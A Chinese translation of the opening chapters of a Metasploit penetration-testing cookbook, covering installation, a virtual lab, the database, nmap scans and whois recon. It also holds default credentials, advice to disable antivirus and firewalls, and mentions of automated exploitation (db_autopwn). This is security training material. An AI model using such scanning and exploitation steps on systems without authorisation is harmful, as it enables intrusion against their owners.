Metasploit-渗透测试秘籍（全）

Metasploit 渗透测试秘籍（全）

原文：annas-archive.org/md5/5103BA072B171774B556C75B597E241F

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

渗透测试是当今网络安全的核心方面之一。它涉及通过实施现实生活中的安全测试对系统进行全面分析。它有助于识别系统主要组件中可能存在的潜在弱点，这些弱点可能出现在硬件或软件中。渗透测试成为安全的重要方面的原因是它有助于从黑客的角度识别威胁和弱点。可以实时利用漏洞来确定漏洞的影响，然后可以探索适当的补救措施或补丁，以保护系统免受外部攻击并减少风险因素。

决定渗透测试可行性的最大因素是对目标系统的了解。当对目标用户没有先验知识时，实施黑盒渗透测试。渗透测试人员将不得不从头开始收集有关目标系统的每一点信息，以实施攻击。在白盒测试中，了解目标的完整知识，并且测试人员将不得不识别可能存在的任何已知或未知的弱点。这两种渗透测试方法都同样困难，并且是特定于环境的。行业专业人员已经确定了几乎所有形式的渗透测试中必不可少的一些关键步骤。这些是：

目标发现和枚举：在不与目标进行任何物理连接的情况下识别目标并收集基本信息
漏洞识别：实施各种发现方法，如扫描、远程登录和网络服务，以确定目标系统上运行的不同服务和软件
利用：利用目标系统上运行的任何软件或服务中已知或未知的漏洞
攻击后的控制级别：这是攻击者在成功利用后可以在目标系统上获得的访问级别
报告：准备有关漏洞及其可能的对策的咨询

这些步骤可能看起来很少，但实际上对于运行着许多服务的高端系统的完整渗透测试可能需要数天甚至数月才能完成。使渗透测试成为耗时任务的原因是它基于“试错”技术。利用和漏洞在很大程度上取决于系统配置，因此我们无法确定特定的利用是否成功，除非我们尝试。考虑一下利用运行着 10 个不同服务的基于 Windows 的系统的例子。渗透测试人员将不得不确定这 10 个不同服务是否存在任何已知的漏洞。一旦它们被识别出来，利用的过程就开始了。这只是一个考虑了一个系统的小例子。如果我们有一个整个网络的这样的系统需要逐个渗透呢？

这就是渗透测试框架发挥作用的地方。它们自动化了测试的几个过程，如扫描网络、根据可用服务及其版本识别漏洞、自动利用等。它们通过为测试人员提供一个完整的控制面板来加速渗透测试过程，从而使其能够有效地管理所有活动并监视目标系统。渗透测试框架的另一个重要好处是报告生成。它们自动化了保存渗透测试结果并生成报告的过程，这些报告可以保存以供以后使用，也可以与远程工作的其他同事共享。

《Metasploit 渗透测试食谱》旨在帮助读者掌握当今场景中最广泛使用的渗透测试框架之一。Metasploit 框架是一个开源平台，可帮助创建真实的利用场景以及渗透测试的其他核心功能。本书将带您进入探索 Metasploit 世界的激动人心之旅，以及如何使用它执行有效的渗透测试。本书还将涵盖一些其他在框架上运行的扩展工具，并增强其功能，以提供更好的渗透测试体验。

本书内容

第一章，“安全专业人员的 Metasploit 快速技巧”，是进入 Metasploit 和渗透测试世界的第一步。本章介绍了框架的基本概念、架构和库。为了开始渗透测试，我们需要一个设置，因此本章将指导您通过使用虚拟机设置自己的虚拟渗透测试环境。随后，本章讨论了在不同操作系统上安装框架。本章以介绍 Metasploit 的第一次体验和其界面为结束。

第二章，“信息收集和扫描”，是渗透测试的第一步。它从最传统的信息收集方式开始，然后进一步使用 Nmap 进行扫描。本章还涵盖了一些额外的工具，如 Nessus 和 NeXpose，它们通过提供额外信息来弥补 Nmap 的局限性。最后，本章讨论了 Dradis 框架，这是渗透测试人员广泛使用的工具，用于与其他远程测试人员分享他们的测试结果和报告。

第三章，“基于操作系统的漏洞评估和利用”，讨论了在目标系统上运行的未打补丁的操作系统中发现漏洞。基于操作系统的漏洞具有很高的成功率，并且可以很容易地被利用。本章讨论了渗透几种流行的操作系统，如 Windows XP、Windows 7 和 Ubuntu。本章涵盖了这些操作系统的一些流行和已知的漏洞利用，以及它们如何在 Metasploit 中被用来入侵目标机器。

第四章，“客户端利用和防病毒绕过”，将我们的讨论推进到下一步，讨论了如何使用 Metasploit 执行客户端利用。本章涵盖了一些流行的客户端软件，如 Microsoft Office、Adobe Reader 和 Internet Explorer。随后，本章详细讨论了如何杀死客户端防病毒保护，以防止在目标系统中引起警报。

第五章，“使用 Meterpreter 探索受损目标”，讨论了利用后的下一步。Meterpreter 是一个后渗透工具，具有多种功能，可以帮助渗透受损目标并获取更多信息。本章涵盖了一些有用的渗透测试技术，如提权、访问文件系统和键盘记录。

第六章，“高级 Meterpreter 脚本”，通过涵盖一些高级主题，如构建我们自己的 meterpreter 脚本和使用 API mixins，将我们的 Metasploit 知识提升到了一个新的水平。本章将为读者提供灵活性，因为他们可以根据情景将自己的脚本实现到框架中。本章还涵盖了一些高级后利用概念，如枢轴、传递哈希和持久连接。

第七章，“渗透测试模块的使用”，将我们的焦点转移到 Metasploit 的另一个重要方面；它的模块。Metasploit 有一个相当不错的特定模块集合，可以在特定场景下使用。本章涵盖了一些重要的辅助模块，然后进一步讲解如何构建我们自己的 Metasploit 模块。本章需要一些基本的 Ruby 脚本知识。

第八章，“使用利用”，通过讨论如何将任何利用转换为 Metasploit 模块，为我们的武器库增添了最后一件武器。这是一个高级章节，将使读者能够构建自己的 Metasploit 利用模块并将其导入框架。由于并非所有利用都包含在框架中，因此本章在我们想要测试不在 Metasploit 存储库中的利用时非常有用。本章还讨论了一些模糊模块，这些模块对于构建任何漏洞的自己的概念验证非常有用。最后，本章以一个完整的示例结束，介绍了如何模糊应用程序以找到溢出条件，然后为其构建一个 Metasploit 模块。

第九章，“使用 Armitage”，是关于流行的 Metasploit 扩展 Armitage 的简要讨论。它为框架提供了图形界面，并通过提供点对点的利用选项来增强其功能。本章重点介绍了 Armitage 的重要方面，如快速查找漏洞、处理多个目标、在选项卡之间切换以及处理后利用。

第十章，“社会工程师工具包”，是本书的最后讨论部分，涵盖了框架的另一个重要扩展。社会工程师工具包（SET）用于生成依赖于人类疏忽以侵入目标的测试案例。本章涵盖了与 SET 相关的基本攻击向量，包括鱼叉式网络钓鱼、网站攻击向量、生成可感染的媒体，如 USB。

本书需要什么

要遵循和重现本书的配方，您将需要两个系统。一个可以是您的渗透测试系统，另一个可以是您的目标系统。或者，您也可以使用单个系统，并使用任何虚拟化软件设置渗透测试环境。

除此之外，您还需要一个预先安装了 Metasploit 和本书将讨论的其他工具的 BackTrack 5 的 ISO 镜像。或者，您可以从其官方网站单独为您喜欢的操作系统下载 Metasploit 框架。

本书适合谁

本书旨在面向专业的渗透测试人员，以及愿意掌握这一工具的新用户。书中内容适合各种读者。本书采用了易于阅读、理解和回忆的配方结构。书籍从渗透测试的基础知识开始，然后逐渐深入到专家级别。初学者到高级水平的过渡非常顺畅。因此，所有类别的读者都可以轻松阅读和理解本书。本书需要基本的扫描、利用和 Ruby 语言知识。

约定

在本书中，您会发现一些文本样式，用于区分不同类型的信息。以下是一些样式的示例，以及它们的含义解释。

文本中的代码单词显示如下："最后两个命令，vulns和db_autopwn是后期利用命令，我们将在后面的章节中讨论。"

代码块设置如下：

# Register command execution options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
], self.class)

任何命令行输入或输出都以以下形式编写：

$ chmod +x framework-4.*-linux-full.run
$ sudo ./framework-4.*-linux-full.run

新术语和重要单词以粗体显示。例如，屏幕上显示的单词，菜单或对话框中的单词会以这种形式出现在文本中："您可以从应用程序菜单或命令行启动 Metasploit 框架"。

注意

警告或重要提示会以这种形式出现在一个框中。

提示

提示和技巧会以这种形式出现。

第一章：安全专业人员的 Metasploit 快速提示

在本章中，我们将涵盖：

在 Windows 上配置 Metasploit
在 Ubuntu 上配置 Metasploit
使用 BackTrack 5 的 Metasploit-终极组合
在单台机器上设置渗透测试实验室
在具有 SSH 连接性的虚拟机上设置 Metasploit
从接口开始- Metasploit 的“Hello World”
在 Metasploit 中设置数据库
使用数据库存储渗透测试结果
分析数据库中存储的结果

介绍

Metasploit 目前是信息安全和渗透测试领域最热门的词汇。它彻底改变了我们进行系统安全测试的方式。使 Metasploit 如此受欢迎的原因是它可以执行的任务范围广泛，以便于渗透测试工作，使系统更加安全。Metasploit 适用于所有流行的操作系统。框架的工作过程对所有操作系统几乎是相同的。在本书中，我们将主要使用 BackTrack 5 操作系统，因为它预装了 Metasploit 框架和其他在框架上运行的第三方工具。

让我们快速介绍一下框架和与之相关的各种术语：

Metasploit 框架：这是由 H.D. Moore 于 2003 年开始的免费、开源的渗透测试框架，后来被 Rapid7 收购。框架的当前稳定版本是用 Ruby 语言编写的。它拥有世界上最大的已测试利用数据库，每年下载量超过一百万次。这也是迄今为止用 Ruby 构建的最复杂的项目之一。
漏洞：这是一种允许攻击者/渗透测试者破坏/危害系统安全的弱点。这种弱点可以存在于操作系统、应用软件，甚至网络协议中。
利用：利用是一种允许攻击者/测试者利用脆弱系统并危害其安全性的代码。每个漏洞都有其对应的利用。Metasploit v4 有超过 700 个利用。
有效载荷：这是实际执行工作的代码。在利用后在系统上运行。它们主要用于在攻击者和受害者机器之间建立连接。Metasploit v4 有超过 250 个有效载荷。
模块：模块是完整系统的小构建块。每个模块执行特定任务，通过组合多个模块来构建一个完整的系统单元。这种架构的最大优势是，开发人员可以轻松地将新的利用代码和工具集成到框架中。

Metasploit 框架具有模块化架构，利用、有效载荷、编码器等被视为单独的模块。

让我们仔细研究架构图。

Metasploit 使用不同的库来确保框架的正常运行。这些库是一组预定义的任务、操作和函数，可以被框架的不同模块利用。框架最基本的部分是Ruby 扩展（Rex）库。Rex 提供的一些组件包括包装套接字子系统、协议客户端和服务器的实现、日志子系统、利用实用类以及其他一些有用的类。Rex 本身设计为没有依赖性，除了默认的 Ruby 安装。

然后我们有 MSF Core 库，它扩展了 Rex。 Core 负责实现所有必需的接口，允许与利用模块、会话和插件进行交互。这个核心库由框架基础库扩展，旨在为处理框架核心提供更简单的包装例程，并为处理框架的不同方面提供实用类，例如将模块状态序列化为不同的输出格式。最后，基础库由框架的用户界面（UI）扩展，实现对框架本身的不同类型用户界面的支持，例如命令控制台和 Web 界面。

框架提供了四种不同的用户界面，即msfconsole、msfcli、msfgui和msfweb。强烈建议您尝试所有这些不同的界面，但在本书中，我们将主要使用msfconsole界面。其背后的原因是msfconsole为框架提供了最好的支持，利用了所有功能。

现在让我们转向本章的实际分析和实际分析各个方面的配方。

在 Windows 上配置 Metasploit

在 Windows 上安装 Metasploit 框架非常简单，几乎不需要任何努力。框架安装程序可以从 Metasploit 官方网站（www.metasploit.com/download）下载。

做好准备

您会注意到 Windows 有两种不同类型的安装程序可用。建议下载包含控制台和所有其他相关依赖项以及数据库和运行时设置的 Metasploit 框架的完整安装程序。如果您已经配置了要用于框架的数据库，那么可以选择仅安装控制台和依赖项的框架的迷你安装程序。

如何做...

一旦您完成了安装程序的下载，只需运行它并放松一下。它将自动安装所有相关组件并为您设置数据库。安装完成后，您可以通过安装程序创建的各种快捷方式访问框架。

它是如何工作的...

您会发现安装程序已经为您创建了许多快捷方式。在 Windows 环境中，大多数事情都是点击即可完成的。您会发现一些选项，如 Metasploit web、cmd 控制台、Metasploit 更新等。

注意

在 Windows 上安装 Metasploit 时，应禁用防病毒保护，因为它可能会检测到某些安装文件为潜在病毒或威胁，并可能阻止安装过程。安装完成后，请确保您已在防病毒软件中将框架安装目录列入白名单，因为它将检测到利用和有效载荷为恶意。

还有更多...

现在让我们谈谈一些其他选项，或者可能是一些与在 Windows 上明确安装 Metasploit 框架相关的一般信息。

安装过程中的数据库错误

在 Windows 机器上安装 Metasploit 框架时，许多用户都会遇到一个常见问题。在运行设置时，您可能会遇到错误消息，如屏幕截图所示：

安装过程中的数据库错误

这是在配置 PostgreSQL 服务器时出现错误的结果。可能的原因是：

PostgreSQL 未运行。使用 Netstat 查找端口是否打开并且数据库是否运行。
有些安装程序需要默认安装路径。例如，如果默认路径是C驱动器，将其更改为D驱动器将导致此错误。
语言编码。

如果您遇到此问题，可以通过下载仅包含控制台和依赖项的框架的简化版本来克服它。然后，手动配置数据库并将其连接到 Metasploit。

在 Ubuntu 上配置 Metasploit

Metasploit 框架完全支持基于 Ubuntu 的 Linux 操作系统。安装过程与 Windows 有些不同。

准备工作

从官方 Metasploit 网站（www.metasploit.com/download）下载设置。

同样，您可以选择最小安装或完整安装。根据您的需求选择下载。完整安装将包括所有依赖项、数据库设置、环境等，而最小安装将只包含依赖项，没有数据库设置。

如何做...

完整安装的过程与最小安装有些不同。让我们分析一下它们各自：

完整安装程序： 您需要执行以下命令在您的 Ubuntu 机器上安装框架：

$ chmod +x framework-4.*-linux-full.run
$ sudo ./framework-4.*-linux-full.run

最小安装程序： 您需要执行以下命令以最小选项安装框架：

$ chmod +x framework-4.*-linux-mini.run
$ sudo ./framework-4.*-linux-mini.run

它是如何工作的...

上面演示的安装过程是几乎所有软件的简单基于 Ubuntu 的安装过程。安装完成后，您可以运行hash -r重新加载您的路径。

注意

这个安装过程可以在几乎所有版本和版本的 Linux 上进行。

还有更多...

现在让我们谈谈其他一些选项，或者可能与此任务相关的一些一般信息。

安装过程中出现错误

有可能安装程序由于某种原因对您不起作用。某些版本的 Ubuntu 带有破损的 Ruby 语言库，这可能是安装失败的原因之一。在这种情况下，我们可以通过执行以下命令单独安装依赖项：

要安装 Ruby 依赖项，请运行：

$ sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems

要安装子版本客户端，请运行：

$ sudo apt-get install subversion

要构建本机扩展，请运行：

$ sudo apt-get install build-essential ruby-dev libpcap-dev

安装以下依赖项后，从官方 Metasploit 下载页面下载 Metasploit Unix tarball 并执行以下命令：

$ tar xf framework-4.X.tar.gz
$ sudo mkdir -p /opt/metasploit4
$ sudo cp -a msf4/ /opt/metasploit3/msf4
$ sudo chown root:root -R /opt/metasploit4/msf4
$ sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/

在成功执行上述命令后，框架将启动并准备接收您的指令。

Metasploit 与 BackTrack 5 的终极组合

BackTrack 是安全专业人员最受欢迎的操作系统，原因有两个。首先，它预先安装了所有流行的渗透测试工具，因此减少了单独安装的成本。其次，它是基于 Linux 的操作系统，这使得它不太容易受到病毒攻击，并在渗透测试期间提供更稳定性。它可以节省您安装相关组件和工具的时间，谁知道在安装过程中可能会遇到未知错误。

准备工作

您可以在硬盘上单独安装 BackTrack，也可以在虚拟机上使用。安装过程简单，与安装任何基于 Linux 的操作系统相同。

如何做...

在启动 BackTrack OS 时，您将被要求输入用户名和密码。root 用户的默认用户名是root，密码是toor。
成功登录后，您可以在命令行上工作，也可以输入startx进入 GUI 模式。
您可以从应用程序菜单或命令行启动 Metasploit 框架。要从应用程序菜单启动 Metasploit，请转到应用程序 | BackTrack | Exploitation Tools | Network Exploitation Tools | Metasploit Framework，如下面的屏幕截图所示：
Metasploit 遵循一个简单的目录结构层次，其中根文件夹是pentest。该目录进一步分支到/exploits/framework3。要从命令行启动 Metasploit，请启动终端并输入以下命令以移动到 Metasploit 目录：

root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3 ~# ./msfconsole

它是如何工作的...

从命令行启动 Metasploit 将遵循到msfconsole的完整路径。从应用程序菜单启动将为我们提供直接访问不同可用的 UI。

在单台机器上设置渗透测试实验室

您可以通过使用多台机器设置渗透测试实验室，这被认为是理想的设置。但是，如果您遇到紧急情况，需要立即设置测试场景，而您只有一台机器怎么办？使用虚拟机是显而易见的答案。您可以同时在多个操作系统上工作，并执行渗透测试任务。因此，让我们快速看一下如何借助虚拟机在单个系统上设置渗透测试实验室。

准备工作

我们将使用虚拟机设置两个虚拟机，分别运行 BackTrack 5 和 Windows XP SP2 操作系统。我们的主机系统是 Windows 7。我们需要虚拟机安装程序，以及两个操作系统的镜像文件或安装光盘。因此，我们的完整设置将包括运行 Windows 7 的主机系统，分别运行 BackTrack 5 和 Windows XP SP2 的两个虚拟系统。

如何做...

安装虚拟机的过程简单明了。按照以下步骤进行：

安装虚拟机后，创建一个新的虚拟机。选择适当的选项，然后点击下一步。您将需要提供一个安装介质来启动设置。介质可以是镜像文件或安装光盘。有关虚拟机和安装程序的完整手册，您可以访问以下链接：www.virtualbox.org/manual/UserManual.html
为了获得更好的虚拟机性能，建议 32 位操作系统至少有 4GB 可用 RAM，64 位操作系统至少有 8GB RAM。在下一个教程中，我将向您展示一种很酷的方法，可以在运行多个虚拟机时降低内存使用量。
一旦创建了虚拟机（VM），您可以使用“克隆”选项。这将创建您的 VM 的精确副本，因此如果操作 VM 中发生故障，您可以切换到克隆的 VM，而不必担心重新安装。您还可以使用“快照”选项保存 VM 的当前状态。快照将保存虚拟机的当前工作设置，您可以在将来的任何时间恢复到保存的快照。

它是如何工作的...

在启动虚拟机之前，我们需要进行重要的配置，以使两个虚拟机能够相互通信。选择其中一个虚拟机，点击设置。然后转到网络设置。在网络适配器中，将有一个预安装的 NAT 适配器用于主机机器的互联网使用。在适配器 2下选择仅主机适配器。

它是如何工作的...

对两个虚拟机都执行此过程。设置仅主机适配器的原因是使两个虚拟机能够相互通信。现在，为了测试一切是否正常，通过在命令提示符中输入ipconfig来检查 Windows 虚拟机的 IP 地址。现在从 BackTrack 机器上 ping Windows 机器（使用从ipconfig命令获取的本地 IP 地址），以查看它是否接收数据包。按照相反的过程来交叉检查两台机器。

还有更多...

现在让我们谈谈其他选项，或者可能与此任务相关的一些一般信息。

禁用防火墙和防病毒保护

有时我们可能会发现，当从 BackTrack 机器对 Windows 机器进行 ping 时，数据包没有收到。这意味着 Windows 机器已经关闭。这可能是由于默认的 Windows 防火墙设置。因此，禁用防火墙保护，然后再次 ping，看看数据包是否被接收。还要禁用虚拟机中可能安装的任何防火墙。

安装虚拟盒增强功能

虚拟盒提供了一个额外的插件安装，可以改善您的虚拟使用体验。它的一些关键好处是：

从主机操作系统到虚拟操作系统的无缝鼠标移动
自动键盘集成到虚拟操作系统
更好的屏幕尺寸

要安装增强功能，启动虚拟机，转到设备选项卡，然后点击安装增强功能。

在具有 SSH 连接的虚拟机上设置 Metasploit

在上一个步骤中，我们专注于使用虚拟化在单台机器上设置渗透测试实验室。但是在使用多个虚拟机时可能会出现严重的内存使用问题。因此，我们将讨论一种在困难时期非常有用的保护技术。

准备工作

我们只需要一个 SSH 客户端。我们将使用 PuTTY，因为它是 Windows 上最流行和免费的 SSH 客户端。我们将建立与 Backtrack 机器的 SSH 连接，因为它的内存消耗比 Windows XP 机器更大。

操作步骤...

我们将首先启动我们的 BackTrack 虚拟机。在到达登录提示时，输入凭据启动命令行。现在不要启动 GUI。执行以下任一命令：

root@bt:~# /etc/init.d/start ssh
root@bt:~# start ssh

这将启动 BackTrack 机器上的 SSH 进程。

现在通过输入以下命令找到机器的 IP 地址：

root@bt:~# ifconfig

记下这个 IP 地址

现在在主机操作系统上启动 PuTTY。输入 BackTrack 虚拟机的 IP 地址并输入端口22：
现在点击打开以启动命令行。如果连接成功，您将看到 PuTTY 命令行代表 BackTrack 机器运行。它会要求您登录。输入凭据并输入ifconfig来检查 IP 是否与虚拟 BackTrack 的 IP 相同：

工作原理...

在这个 SSH 会话中，我们现在可以使用 PuTTY 与 BackTrack 虚拟机进行交互。由于 GUI 没有加载，内存消耗几乎减少了一半。此外，最小化 BackTrack 虚拟机将进一步减少内存消耗，因为 Windows 操作系统为最小化的进程提供较少的内存份额，并提供正在最大化模式下运行的任务更快的执行。这将进一步在一定程度上减少内存消耗。

从接口开始，Metasploit 的“Hello World”

接口为用户与软件或平台进行通信提供了一个前端。Metasploit 有四个接口，即msfgui, msfweb, msfcli和msfconsole。强烈建议您检查所有接口，但在本书中，我们将主要关注msfconsole接口。它是其中最强大和完全集成的接口。

准备工作

启动已安装 Metasploit 的操作系统。如果您在虚拟机上使用它，请启动它。

操作步骤...

启动msfconsole是一项简单的任务。按照以下步骤进行：

对于 Windows 操作系统，可以通过开始 | metasploit framework | msfconsole来启动msfconsole。
对于 BackTrack，您可以浏览到应用程序 | 渗透测试工具 | 网络渗透测试工具 | Metasploit 框架 | msfconsole。
直接从终端启动它，添加以下命令：

root@bt:~# cd /pentest/exploits/framework3

工作目录将更改为framework3。输入以下命令将启动我们的msfconsole：

root@bt:/pentest/exploits/framework3# ./msfconsole

现在，我们的msfconsole界面已经启动并运行，准备接收命令。

它是如何工作的...

Metasploit 接口扩展了基本库，使它们能够调用框架的初始功能。可以执行简单的命令，例如设置利用和有效载荷、运行更新和配置数据库。一旦过程变得更深入，其他功能库将相应地被调用。

还有更多...

让我们添加一些您可以在此阶段使用msfconsole界面执行的其他内容。

一些要尝试并开始的命令

以下是一些您可以尝试以深入探索的命令：

msf > ls： ls命令将列出所有可用的目录和文件。您可以进一步深入其他目录以进行更深入的探索。
msf > help：此命令将列出我们可以使用的 Metasploit 框架的所有可用命令。这些命令被分类为核心命令和数据库后端命令。前者包含与框架直接相关的命令，而后者提供与数据库交互的命令。
msf > msfupdate：应经常使用此命令，以便使用最新的利用、有效载荷、库等更新框架。

在 Metasploit 中设置数据库

Metasploit 的一个重要特性是存在数据库，您可以使用它来存储渗透测试结果。任何渗透测试都包含大量信息，可能持续几天，因此存储中间结果和发现变得至关重要。因此，一个好的渗透测试工具应该具有适当的数据库集成，以快速有效地存储结果。

准备就绪

Metasploit 默认使用 PostgreSQL 作为数据库。对于 BackTrack 机器，我们还有另一个选择—MySQL。您可以使用这两个数据库中的任何一个。让我们首先检查 PostgreSQL 数据库的默认设置。我们将不得不导航到opt/framework3/config下的database.yml。要做到这一点，请运行以下命令：

root@bt:~# cd /opt/framework3/config
root@bt:/opt/framework3/config# cat database.yml
production: adapter: postgresql database: msf3 username: msf3 password: 8b826ac0 host: 127.0.0.1 port: 7175 pool: 75 timeout: 5

注意已创建的默认用户名、密码和默认数据库。记下这些值，因为它们将进一步需要。您也可以根据自己的选择更改这些值。

如何做...

现在我们的工作是连接数据库并开始使用它。让我们启动msfconsole，看看我们如何设置数据库并存储我们的结果。

让我们首先检查可用的数据库驱动程序。

msf > db_driver
[*]Active Driver: postgresql
[*]Available: postgresql, mysql

PostgreSQL 被设置为默认数据库。如果要更改数据库驱动程序，则可以执行以下命令：

Msf> db_driver mysql
[*]Active Driver: Mysql

这将把活动驱动程序更改为 MySQL。在本书中，我们主要将使用 PostgreSQL 进行演示。

注意

Rapid7 在最近的 Metasploit 版本中放弃了对 MySQL 数据库的支持，因此db_driver命令可能无法工作。在这种情况下，框架支持的唯一默认驱动程序将是 PostgreSQL。

它是如何工作的...

要将驱动程序连接到msfconsle，我们将使用db_connect命令。此命令将使用以下语法执行：

db_connect username:password@hostIP:port number/database_name

在这里，我们将使用从database.yml文件中刚刚记录下的相同默认值的用户名、密码、数据库名称和端口号：

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3

成功执行命令后，我们的数据库将被完全配置。

还有更多...

让我们讨论一些与建立数据库相关的更重要的事实。

在连接数据库时出现错误

在尝试建立连接时可能会出现错误。如果出现任何错误，有两件事需要记住：

检查db_driver和db_connect命令，并确保您使用正确的数据库组合。
使用start/etc/init.d启动数据库服务，然后尝试连接它。

如果错误仍然存在，我们可以使用以下命令重新安装数据库和相关库：

msf> gem install postgres
msf> apt-get install libpq-dev

删除数据库

随时可以删除创建的数据库并重新开始存储新的结果。可以执行以下命令来删除数据库：

msf> db_destroy msf3:8b826ac0@127.0.0.1:7175/msf3
Database "msf3" dropped.
msf>

使用数据库存储渗透测试结果

现在让我们学习如何使用配置好的数据库来存储我们的渗透测试结果。

准备工作

如果您已成功执行了前面的步骤，那么您已经准备好使用数据库来存储结果了。在msfconsole中输入help命令，快速查看我们可以使用的重要数据库命令。

如何做...

让我们从一个快速示例开始。db_nmap命令将端口扫描的结果直接存储到数据库中，同时包括所有相关信息。在目标机器上启动一个简单的 Nmap 扫描，看看它是如何工作的：

msf > db_nmap 192.168.56.102
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-04 20:03 IST
[*] Nmap: Nmap scan report for 192.168.56.102
[*] Nmap: Host is up (0.0012s latency)
[*] Nmap: Not shown: 997 closed ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 135/tcp open msrpc
[*] Nmap: 139/tcp open netbios-ssn
[*] Nmap: 445/tcp open microsoft-ds
[*] Nmap: MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds

正如我们所看到的，Nmap 已经生成了扫描结果，并且将自动填充我们正在使用的msf3数据库。

我们还可以在 Nmap 扫描中使用-oX参数将结果存储为 XML 格式。这对我们来说将非常有益，可以将扫描结果导入其他第三方软件，比如我们将在下一章中分析的 Dardis 框架。

msf > nmap 192.168.56.102 -A -oX report
[*] exec: nmap 192.168.56.102 -A -oX report
Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-05 11:57 IST
Nmap scan report for 192.168.56.102
Host is up (0.0032s latency)
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

这里report是我们扫描结果将被存储的文件名。这将有助于我们在本书的后续步骤中。

工作原理...

db_nmap命令创建一个包含与扫描结果相关的各种表列的 SQL 查询。一旦扫描完成，它就开始将值存储到数据库中。以电子表格形式存储结果的灵活性使得更容易在本地或与第三方工具共享结果。

分析数据库中存储的结果

在数据库中存储测试结果之后，下一步是对其进行分析。分析数据将使我们更深入地了解我们的目标系统。数据库的结果可以根据使用情况长期或短期存储。

准备工作

启动msfconsole，并按照前面的步骤建立数据库连接。我们既可以用它来存储新的结果，也可以分析之前存储的结果。在前面的步骤中创建的 Nmap 扫描的 XML 文件可以导入以分析之前的扫描结果。

如何做...

让我们分析一些重要的命令，以更清楚地了解存储的结果:

msf > hosts: 这个命令将显示数据库中所有可用的主机。让我们分析一下这个命令的输出:

前面的屏幕截图反映了主机命令的输出。正如我们所观察到的，这个命令的结果并不是很清晰，因为表中有很多列。因此，我们可以继续添加过滤器，并只查看我们感兴趣的那些列，如下面的命令所示：

msf > hosts -c address,os_name
Hosts 
===== 
address os_name 
------- ------ 
192.168.56.1 
192.168.56.101 
192.168.56.102 Microsoft Windows 
192.168.56.103 Linux

msf > services: 这是另一个有趣的命令，可以为我们提供有关目标机器上运行的不同服务的有用信息:

msf > services
Services 
======== 
host port proto name state info 
---- ---- ----- ---- ----- ---- 
192.168.56.101 111 tcp rpcbind open 
192.168.56.102 135 tcp msrpc open 
192.168.56.102 139 tcp netbios-ssn open 
192.168.56.102 445 tcp microsoft-ds open 
192.168.56.102 135 tcp msrpc open Microsoft Windows 
RPC

msf > vulns: 这个命令列出了数据库中存在的所有主机的漏洞。
msf > db_autopwn: 这是一个强大的命令，用于自动化利用数据库中可用的目标机器的过程。这个命令需要更多关于利用过程的理解，所以我们稍后会分析这个命令。

工作原理...

分析过程简单，可以轻松过滤以获得所需的结果。我们已经看到了如何读取数据库输出以及如何有效地管理它。最后两个命令vulns和db_autopwn是后期利用命令，我们将在后面的章节中处理。

第二章：信息收集和扫描

在本章中，我们将涵盖：

被动信息收集 1.0-传统方式
被动信息收集 2.0-下一个级别
端口扫描-Nmap 方式
探索用于扫描的辅助模块
使用辅助模块进行目标服务扫描
使用 Nessus 进行漏洞扫描
使用 NeXpose 进行扫描
使用 Dradis 框架共享信息

介绍

信息收集是渗透测试的第一步基本步骤。这一步是为了尽可能多地了解目标机器的信息。我们拥有的信息越多，就越有可能利用目标。在信息收集阶段，我们的主要重点是收集有关目标机器的事实，比如 IP 地址、可用服务、开放端口。这些信息在渗透测试过程中起着至关重要的作用。信息收集中基本上使用了三种类型的技术。

被动信息收集
主动信息收集
社会工程学

让我们快速了解这些过程：

被动信息收集：这种技术用于在没有任何物理连接或访问的情况下获取有关目标的信息。这意味着我们使用其他来源来获取有关目标的信息，比如使用whois查询、Nslookup等。假设我们的目标是一个在线 Web 应用程序，那么简单的whois查询可以为我们提供大量关于 Web 应用程序的信息，比如其 IP 地址、域和子域、服务器位置、托管服务器等。这些信息在渗透测试期间可能非常有用，因为它可以扩大我们利用目标的轨迹。
主动信息收集：在这种技术中，建立与目标的逻辑连接以获取信息。这种技术为我们提供了下一个级别的信息，可以直接帮助我们了解目标的安全性。端口扫描；目标是最广泛使用的主动扫描技术，我们关注的是目标上运行的开放端口和可用服务。
社会工程学：这种信息收集类似于被动信息收集，但依赖于人为错误和以打印输出、电话对话或不正确的电子邮件 ID 等形式泄露的信息。利用这种方法的技术是多种多样的，信息收集的伦理非常不同，因此，社会工程学是一个独立的类别。例如，黑客注册拼写错误相似的域名，并设置邮件服务器以接收这些错误的电子邮件。这样的域名被称为 Doppelganger Domains，即邪恶的双胞胎。

在本章中，我们将详细分析各种被动和主动信息收集技术。在开始的两个步骤中，我们将分析被动信息收集中最常用和最常被忽视的技术，然后在后续步骤中，我们将专注于通过端口扫描获取信息。Metasploit 具有几种内置的扫描功能，以及一些集成到其中以进一步增强端口扫描过程的第三方工具。我们将分析内置扫描仪以及一些流行的第三方扫描仪，这些扫描仪可以在 Metasploit 框架上运行。让我们继续进行步骤，并开始获取有关我们目标的信息的过程。

被动信息收集 1.0-传统方式

让我们来处理一些最常用的信息收集技术。

准备就绪

whois，Dig和Nslookup是获取有关我们目标的初始信息的三个最基本和最简单的步骤。由于这两者都是 passiv 技术，因此不需要与目标进行连接。这些命令可以直接从BackTrack的终端执行。因此，打开终端窗口并继续进行。

如何做...

我们将从简单的whois查找开始我们的信息收集。whois是BackTrack中的内置命令，因此我们可以直接从终端调用它。

让我们快速对www.packtpub.com进行whois查找并分析输出。输出可能很大，所以这里我们只关注输出的相关要点。

root@bt:~# whois www.packtpub.com
Domain Name: PACKTPUB.COM
Registrar: EASYDNS TECHNOLOGIES, INC.
Whois Server: whois.easydns.com
Referral URL: http://www.easydns.com
